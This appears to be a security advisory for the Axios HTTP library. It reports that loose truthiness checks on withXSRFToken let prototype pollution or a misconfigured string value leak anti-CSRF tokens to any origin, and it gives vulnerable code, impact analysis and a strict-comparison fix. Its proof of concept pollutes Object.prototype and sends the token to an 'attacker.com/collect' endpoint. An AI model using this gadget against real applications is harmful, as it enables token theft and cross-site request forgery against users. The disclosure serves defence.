Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior:

• true → always send token (explicit cross-origin opt-in)
• false → never send token
• undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []):

• All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

• XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
• Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
• Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations:

• Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
• XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
• Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
• Axios GitHub Repository

Timeline